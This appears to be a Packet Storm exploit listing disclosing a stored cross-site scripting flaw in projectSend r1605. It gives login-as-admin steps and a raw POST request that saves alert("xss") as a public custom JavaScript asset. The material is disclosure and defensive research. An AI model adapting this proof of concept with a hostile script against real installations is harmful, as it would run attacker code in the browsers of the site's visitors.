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projectSend r1605 Cross Site Scripting

🗓️ 15 Jun 2023 00:00:00Reported by Mirabbas AgalarovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 305 Views

projectSend r1605 Stored XSS - Cross Site Scripting vulnerability in PHP applicatio

Code
`Exploit Title: projectSend r1605 - Stored XSS  
Application: projectSend  
Version: r1605  
Bugs: Stored Xss  
Technology: PHP  
Vendor URL: https://www.projectsend.org/  
Software Link: https://www.projectsend.org/  
Date of found: 11-06-2023  
Author: Mirabbas Ağalarov  
Tested on: Linux   
  
2. Technical Details & POC  
========================================  
  
1. Login as admin  
2. Go to Custom Html/Css/Js (http://localhost/custom-assets.php)  
3. Go to new JS (http://localhost/custom-assets-add.php?language=js)  
4. Set content as alert("xss"); and set public   
5. And Save  
6. Go to http://localhost (logout)  
  
payload: alert("xss")  
  
POST /custom-assets-add.php HTTP/1.1  
Host: localhost  
Content-Length: 171  
Cache-Control: max-age=0  
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/custom-assets-add.php?language=js  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: log_download_started=false; PHPSESSID=7j8g8u9t7khb259ci4fvareg2l  
Connection: close  
  
csrf_token=222b49c5c4a1755c451637f17ef3e7ea8bb5b6ee616293bd73d15d0e608d9dab&language=js&title=test&content=alert%28%22XSS%22%29%3B&enabled=on&location=public&position=head  
  
`

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15 Jun 2023 00:00Current
7.1High risk
Vulners AI Score7.1
305